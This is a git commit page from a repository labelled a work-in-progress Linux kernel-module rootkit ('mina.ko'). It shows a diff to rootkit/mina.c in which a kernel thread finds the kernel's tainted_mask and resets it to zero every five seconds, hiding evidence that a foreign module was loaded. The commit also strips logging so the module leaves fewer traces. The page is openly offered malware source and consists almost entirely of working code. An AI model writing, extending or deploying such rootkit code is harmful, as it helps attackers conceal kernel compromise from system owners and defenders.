mina.ko

~ (wip)LKM rootkit for 6.1+ kernels

git clone https://github.com/djnnvx/mina.ko.git

commit 83154027306b15317d205ad0fd121fb85d6191a1
parent d6305d1acbff6e6ac8b18848314f37c963b30b62
Author: djnn <[email protected]>
Date: Fri, 3 Jan 2025 21:56:58 +0900

fix(taint-bypass): redundant logging

Diffstat:

rootkit/mina.c

+++---------

1 file changed, 3 insertions(+), 9 deletions(-)

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -138,9 +138,7 @@ static unsigned long *get_taint_mask_address(void) {
 
     if (kallsyms_lookup_fn) {
         taint_addr = (unsigned long *)kallsyms_lookup_fn("tainted_mask");
-        if (taint_addr) {
-            printk(KERN_INFO "tainted_mask address: %px\n", taint_addr);
-        } else {
+        if (!taint_addr) {
             printk(KERN_ERR "Could not find tainted_mask address.\n");
         }
     } else {
@@ -153,12 +151,10 @@ static unsigned long *get_taint_mask_address(void) {
 static void reset_taint_mask(void) {
     if (taint_mask_ptr && *taint_mask_ptr != 0) {
         *taint_mask_ptr = 0;
-    } else {
-        printk(KERN_WARNING "Invalid tainted_mask address or already reseted.\n");
     }
 }
 
-static int zt_thread(void *data) {
+static int zerotaint_thread(void *data) {
     while (!kthread_should_stop()) {
         reset_taint_mask();
         ssleep(5);
@@ -178,7 +174,7 @@ static int __init module_start(void) {
         return -EFAULT;
     }
 
-    cleaner_thread = kthread_run(zt_thread, NULL, RESET_THREAD_NAME);
+    cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME);
     if (IS_ERR(cleaner_thread)) {
         printk(KERN_ERR "Failed to start tainted_mask cleaner thread.\n");
         return PTR_ERR(cleaner_thread);
@@ -191,11 +187,9 @@ static int __init module_start(void) {
 static void __exit module_end(void) {
     if (cleaner_thread) {
         kthread_stop(cleaner_thread);
-        printk(KERN_INFO "zerot stopped.\n");
     }
 
     fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
-
     printk(KERN_INFO "bye-bye mina ~\n");
 }